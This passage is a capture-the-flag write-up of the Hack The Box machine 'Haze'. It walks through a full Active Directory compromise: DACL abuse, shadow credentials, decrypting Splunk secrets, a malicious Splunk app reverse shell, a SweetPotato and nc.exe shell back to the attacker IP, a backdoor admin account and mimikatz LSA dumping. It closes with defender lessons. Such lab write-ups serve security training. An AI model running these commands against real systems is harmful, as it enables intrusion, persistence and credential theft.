impacket-dacledit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action 'write' -rights 'WriteMembers' -principal 'HAZE-IT-BACKUP$' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'
# HAZE-IT-BACKUP$ add ITSELF as a member of the group
pth-net rpc group addmem "SUPPORT_SERVICES" "HAZE-IT-BACKUP$" -U "haze.htb"/"HAZE-IT-BACKUP$"%"ffffffffffffffffffffffffffffffff":"735c02c6b2dc54c3c8c6891f55279ebc" -S "dc01.haze.htb"
# PyWhisker to add shadow credential
cd ~/Tools/pywhisker/pywhisker; source ../bin/activate
python3 pywhisker.py -d "haze.htb" --dc-ip $RADDR -u "HAZE-IT-BACKUP$" -H ':735c02c6b2dc54c3c8c6891f55279ebc' --target "edward.martin" --action "add"
mv lPhtiK8q* ~/Box_Notes/Haze/

🎉 It worked! Now we just need to authenticate. As the PyWhisker output indicates, we should use PKINITtools to obtain a TGT:
faketime -f +8h \
python3 gettgtpkinit.py -cert-pfx ~/Box_Notes/Haze/lPhtiK8q.pfx -pfx-pass 'P4NZM7XvVkqL9tNLqfAz' -dc-ip 'dc01.haze.htb' 'haze.htb/edward.martin' '/home/kali/Box_Notes/Haze/loot/edward.martin.ccache'

Excellent - this saved a .ccache file in the expected spot. Now I just need to authenticate using Kerberos. Recall that edward.martin is the other user in Remote Management Users, so this should work over WinRM:
Note: I already have my Kerberos client configuration file saved as
custom_krb5.conf
cd ~/Box_Notes/Haze/loot
chmod 600 edward.martin.ccache
export KRB5_CONFIG="$PWD/custom_krb5.conf"
KRB5CCNAME=edward.martin.ccache faketime -f +8h evil-winrm -i dc01.haze.htb -r haze.htb

Excellent - we’ve moved laterally to edward.martin, and they hold the user flag! Read it for some points:
type C:\Users\edward.martin\Desktop\user.txt
ROOT FLAG
ℹ️ You may notice in the following content that my IP address has changed. I was having very poor performance on the
Release ArenaVPN, so now I’ve switched over to one of the VIP servers.
BloodHound Collection
Now that we’ve gained access to a new user, it’s once again time to collect some data for BloodHound. This time, I’ll use two different collectors:
SharpHound.exe, ran locally on the target host asedward.martinbloodhound-ce-python, ran from my attacker host
net user X: \\10.10.14.5\share /user:test test # this SMB share is hosting my toolbox
X:\SharpHound.exe -c All --collectallproperties
copy "20250402072212_BloodHound.zip" X:\
On my attacker host, I’ll get the SharpHound results from the SMB share, and run bloodhound-ce-python:
# Move the Sharphound results
cd loot/bloodhound
mv ~/Tools/WINDOWS/20250402072212_BloodHound.zip .
# run bloodhound-ce-python
KRB5CCNAME=../edward.martin.ccache faketime -f +8h bloodhound-ce-python -c All -d 'haze.htb' -ns $RADDR -dc "dc01.haze.htb" -u 'edward.martin' -k '../edward.martin.ccache' --zip
# fix permissions and ownership
sudo chown kali:kali ./*
chmod 664 ./*
As usual, I’ll get Bloodhound-CE to ingest these two zip files now.
Now that we’ve collected new data for Bloodhound, we need to check what has changed. What can we see now that wasn’t visible before?
The most notable thing I see is that edward.martin is the only member of Backup_Reviewers:

Currently, I’m not sure how that group membership will benefit us, but I’ll keep an eye out for backups.
Local enumeration - edward.martin
SMB
I checked to see if edward.martin had access to any previously-unknown SMB shares, but they do not:
Get-SmbShare

PE Enum Scripts
I often check the following automatic-enumeration scripts:
SharpUp
X:\Ghostpack-CompiledBinaries\SharpUp.exe auditSeatbelt
X:\Ghostpack-CompiledBinaries\Seatbelt.exe -group=AllWinPEAS
X:\winPEASany.exe
None of these turned up any particularly significant results, but here’s a quick summary:
- Seatbelt reminded me to check for vulnerable certificate templates, so I’ll do that next 🚩
- Seatbelt and WinPEAS both noticed that LAPS (Local Admin Password Solution) is disabled, so the Administrator account might have a normal/human-readable password.
- There is an account for
alexander.greenthat hasn’t been important yet, but that user actually has the highest login count…
Checking for AD-CS issues
I didn’t realize it, when I was reading through the SharpUp and WinPEAS results, but one or more of my Bloodhound collectors accumulated all kinds of certificate-related data. With the latest Bloodhound-CE, we can see all kinds of certificate-related problems at-a-glance by checking a couple Cypher queries.
Long story short: there don’t seem to be any AD-CS privesc opportunities on this target.
Looking for backups
Earlier, we noted that edward.martin is special mainly because of their membership in the Backup_Reviewers group. There wasn’t anything notable in SMB, I should still check the filesystem.
Thankfully, my search was almost instantaneous:

Inside, there is only the Splunk folder, which itself contains only a single .zip from August 2024:

Let’s exfil this and examine it on the attacker host:
copy splunk_backup_2024-08-06.zip X:\
cd loot
mv ~/Tools/WINDOWS/splunk_backup_2024-08-06.zip .
unzip splunk_backup_2024-08-06.zip
Splunk Backup
The backup seems to be the whole C:\Program Files\Splunk directory:

Referring back to foothold, I checked in etc for the both passwd and auth/splunk.secret - both were present. The passwd file in this backup only has a single hash, for the admin user:
:admin:$6$8FRibWS3pDNoVWHU$vTW2NYea7GiZoN0nE6asP6xQsec44MlcK2ZehY5RC4xeTAz4kVVcbCkQ9xBI2c7A8VPmajczPOBjcVgccXbr9/::Administrator:admin:changeme@example.com:::19934
Unfortunately, I was not able to crack this one using hashcat (mode 1800).
The same “sensitive” files we found earlier are also present in this backup (the ones we decrypted using the splunk.secret file):

Interesting - I was only expecting to see the same three files, within the etc directory. We know the hashes should have the “algorithm indicator” with a $ followed by at least one digit, so let’s grep for it:
find . -name "authentication.conf" -o -name "server.conf" -o -name 'web.conf' \
| xargs grep '\$[0-9]\+'

Two of those use the $7 hash that we saw during foothold, so let’s decrypt them the same way:
SECRET=/home/kali/Box_Notes/Haze/loot/splunk_backup/Splunk/etc/auth/splunk.secret
# pass4SymmKey
splunksecrets splunk-decrypt -S "$SECRET" --ciphertext '$7$u538ChVu1V7V9pXEWterpsj8mxzvVORn8UdnesMP0CHaarB03fSbow=='
# sslPassword
splunksecrets splunk-decrypt -S "$SECRET" --ciphertext '$7$C4l4wOYleflCKJRL9l/lBJJQEBeO16syuwmsDCwft11h7QPjPH8Bog=='
# bindDNpassword
splunksecrets splunk-decrypt -S "$SECRET" --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Attempting to crack the first two secrets resulted in some strange python error. But, thankfully, the splunksecrets tool also handles the [old/legacy hash mode](old/legacy hash mode) too!

This is the backup authentication.conf file that it came from:
...
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
...
😮 This might be the password for the elusive alexander.green account! alexander.green : Sp1unkadmin@2k24
I’ll still check this password for credential re-use, though. As far as I know, a simple LDAP authentication attempt and an attempt to log into Splunk is all I’ll need to check. As an example:
crackmapexec smb -u 'alexander.green' -p 'Sp1unkadmin@2k24' -d haze.htb $RADDR
Credential Reuse check
| Username | Service | |
|---|---|---|
| ❌ | alexander.green | LDAP or SMB |
| ❌ | administrator | LDAP or SMB |
| ❌ | alexander.green | Splunk |
| ✅ | admin | Splunk |
Just to be thorough, I also tried this password with
alexander.greenusingRunasCs.exe:
Alright! This credential lets us into the Spunk Dashboard. We’ve verified the credential admin : Sp1unkadmin@2k24

Splunk Dashboard
The Help > About panel shows exactly what version we’re on:
Splunk Enterprise
Version: 9.2.1
Build: 78803f08aabb
Server: dc01
The Users page shows who is able to access Splunk. Clearly, alexander.green is the admin user (due to the config file above, and due to process of elimination):

The Splunk Dashboard seems to place an emphasis on using “Apps” to augment Splunk’s built-in functionality. This is pretty common amongst products like this, and with CMSs.
So can we use the same approach like we might normally do with a CMS: uploading a malicious plugin? We’re signed in as admin, so it should be easy 🤔
Reverse Shell
A quick web search for “Splunk RCE reverse shell app” yielded some results right away. While it’s a bit old, this repo on Github from @DimopoulosElias seems promising. It’s basically a (very basic) python reverse shell that has been bundled into a .tgz with all the appropriate metadata.
As instructed, I’ll modifiy the reverse shell inside the archive with my details. I’m using mousepad, opening via Thunar, because it’s easy to modify files within archives that way:

Now we can upload this by selecting Apps > Install App from File. The installation seemed fine, but my reverse shell died right away:

Is the reverse shell flawed? Is the target doing something to block the ultra-suspicious port 4444? Let’s fix both potential issues:
- I’ll use port 53 instead of 4444,
- I’ll use a more comprehensive reverse shell (“Windows Python3” from https://revshells.com).
⚠️ To re-upload the same “App” you need to select the Upgrade app checkbox.
sudo ufw allow from $RADDR to any port 53
bash
sudo rlwrap nc -lvnp 53

👏 Success! The malicious app worked perfectly.
Local enumeration - alexander.green
net use X: \\10.10.14.5\share /user:test test
powershell
As usual, let’s get some new data for Bloodhound. Since we only have a reverse shell (no credential or hashes), I’ll only use Sharphound:
cd C:\Users\alexander.green\AppData\Local\Temp
X:\SharpHound.exe -c All --collectallproperties
copy 20250403081837_BloodHound.zip X:\alexander.green_sharphound.zip
Importing this new data into Bloodhound doesn’t tell us anything particularly interesting:

Manual enumeration
One of the first things I like to do when gaining access to a new user is to check their privileges:
whoami /priv

👀 Look what privilege is enabled!
SeImpersonatePrivilege
SeImpersonatePrivilegeis normally granted to service accounts that have some need to impersonate a user or another service account. ChatGPT provides a decent summary:“Windows components and certain administrative tools use this privilege to perform operations that require temporarily adopting a different user’s security context. This mechanism is particularly useful [when] a front-end service needs to access resources or perform actions as if it were the actual user.”
Hacktricks has a paragraph written about abusing this privilege. The gist is that we should utilize one of the “Potato” exploits, RogueWinRM, or PrintSpoofer.
IIRC, I’ve only used a “potato” once, during the TryHackMe room on Windows Privilege Escalation. Thankfully, I took notes for the whole room, available here.
SeImpersonate
My notes on Potato usage are mostly based this fantastic article. To choose the right tool, we should check our Windows version:

Using the decision tree, we can conclude that SweetPotato is probably the correct one to use ✅
The source code for SweetPotato is available here, but I would much prefer a precompiled one, which I found in another repo here (the SweetPotato-Webshell-new seems fine)
I’ll make SweetPotato.exe available to the target using SMB; then it should be as easy as running it:
.\SweetPotato.exe -a "whoami"

😮 Whoa! That was super easy. Let’s see if we can leverage this into a reverse shell. Starting as simple as possible, I’ll go with a nc reverse shell. I’ll place a copy of nc.exe somewhere that the “impersonated” process can access:
copy X:\nc.exe C:\users\alexander.green\appdata\local\temp\nc.exe
Now let’s see if we can use SweetPotato to form the reverse shell:
X:\SweetPotato.exe -p "C:\Users\alexander.green\AppData\Local\Temp\nc.exe" -a "10.10.14.5 4444 -e cmd.exe"
Moments later, our listener catches the shell:

Finally, there is the root flag. Read it to finish off the box:
type C:\Users\Administrator\Desktop\root.txt
EXTRA CREDIT
Adding an Administrator
Getting a reverse shell is great, but wouldn’t it be good to have an easier way to let ourselves in, in case something happens to the reverse shell?
The courteous thing to do is to add a new administrator account, instead of editing the existing one:
net user "4wayhandshake" "finch123!" /add
net localgroup administrators 4wayhandshake /add
⚠️ Beware using singlequotes in either the username or password. Use doublequotes instead!
Now we can freely login as this new admin user:
evil-winrm -i dc01.haze.htb -u '4wayhandshake' -p 'finch123!'
Dumping the LSA
What if we want all users’ NT hashes? That way, we won’t need any more reverse shells.
A great way to do that is by dumping the LSA, using Mimikatz. Since we’re already an administrator, this should be easy. I’ve already made mimikatz.exe available via the SMB share, now we just need to use it:
net use X: \\10.10.14.5\share /user:test test
X:\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
⚠️ At first, I tried
X:\mimikatz.exe "privilege::debug" "lsadump::sam" "exit", but it only produced one hash.

The list goes on, even including my newly-created 4wayhandshake user. I copy-pasted this dump into a text file for convenience.
Now, we can simply login as any user in the Administrators or Remote Management Users groups, using WinRM:

CLEANUP
Target
I’ll get rid of the spot where I place my tools, each user’s temp folder:
del "C:\Users\mark.adams\AppData\Local\Temp\*.*" /s /q
del "C:\Users\edward.martin\AppData\Local\Temp\*.*" /s /q
del "C:\Users\alexander.green\AppData\Local\Temp\*.*" /s /q
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf loot/splunk_backup
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
🐺 Run multiple bloodhound collectors. During Haze for whatever reason, we couldn’t see very much about the AD environment from any particular user. Sometimes, we had to perform Bloodhound data collection both remotely (ex.
rusthound-ce) and locally (SharpHound.exe) to get the full picture.♻️ Re-do bloodhound collection every time you compromise a new user. Even when using multiple Bloodhound collectors, you can’t assume that every user can “see” every AD property and relationship. To give the broadest understanding possible of the AD environment, you must re-do collection every time you compromise a new principal.
*️⃣ Use a regex to find hashes in deep or broad directories that would take too long to enumerate manually. This idea can help you to rapidly find hashes, especially if they are of a known format. Combine this with my
search-filesystemtool for maximum efficacy!🐚 Enumerate the target both before and after gaining a shell. The greatest power (and weakness) of Active Directory is that an astounding amount of data can be collected remotely, without ever getting RCE. Take advantage of this to ensure good visibility over your target.

Defender
- 🙊 Backups shouldn’t hold secrets. Especially with local backups, this is a surprisingly difficult problem. As an administrator, sometimes it’s obvious that a backup is needed, but it’s not readily apparent what the backup might be used for. Ex. Need a backup of a whole filesystem? Then it will probably contain secrets. Need a backup of just an application configuration? Then there are well-established ways to keep secrets out of it.
- 🚯 If secrets must be in backups, mind your permissions. On Haze, the Splunk admin’s password was backed up into a file that people other than the Splunk admin could access. If the backup must contain a user’s password, then that backup should only be accessible by that user.
Other than the obvious (avoid credential re-use, keep software up to date), there wasn’t anything that stood out as an obvious best-practice for defending this target.
If anything, it’s a haunting reminder that Active Directory is insanely complicated. Its configuration must be carefully designed, checked, and reassessed every time something changes.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake

